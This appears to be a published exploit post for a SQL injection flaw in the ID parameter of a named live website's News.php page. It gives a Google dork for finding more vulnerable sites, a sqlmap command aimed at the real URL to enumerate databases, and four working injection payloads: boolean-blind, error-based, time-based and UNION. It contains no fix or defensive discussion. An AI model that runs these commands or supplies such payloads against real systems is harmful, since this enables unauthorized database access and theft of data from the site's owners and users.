#Exploit Title: MIQPM – SQL Injection vulnerability
#Date: 2020-09-20
#Exploit Author: Mahdi Karimi
#Vendor Homepage: http://www.miqpm.com
#Google Dork: News.php?ID=1
#Tested On: windows 10

sqlmap -u “http://www.miqpm.com/new/English/News.php?ID=1” –dbs
Testing Method;
– boolean-based blind
– UNION query
– error-based
– AND/OR time-based blind

Parameter: ID (GET)

Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: ID=1 AND 8881=8881

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: ID=1 AND (SELECT 1609 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT (ELT(1609=1609,1))),0x7176716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: ID=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) – 5 columns
Payload: ID=1 UNION ALL SELECT NULL,CONCAT(0x7178767671,0x7878687851787959554c6a66416b5163436273625163645659657a6a437971467173795a586b5852,0x7176716271),NULL,NULL,NULL– SSya

#Discovered by: Mahdi Karimi
#Email : mjoker22mjoker22@gmail.com

Source link

You must be logged in to post a comment.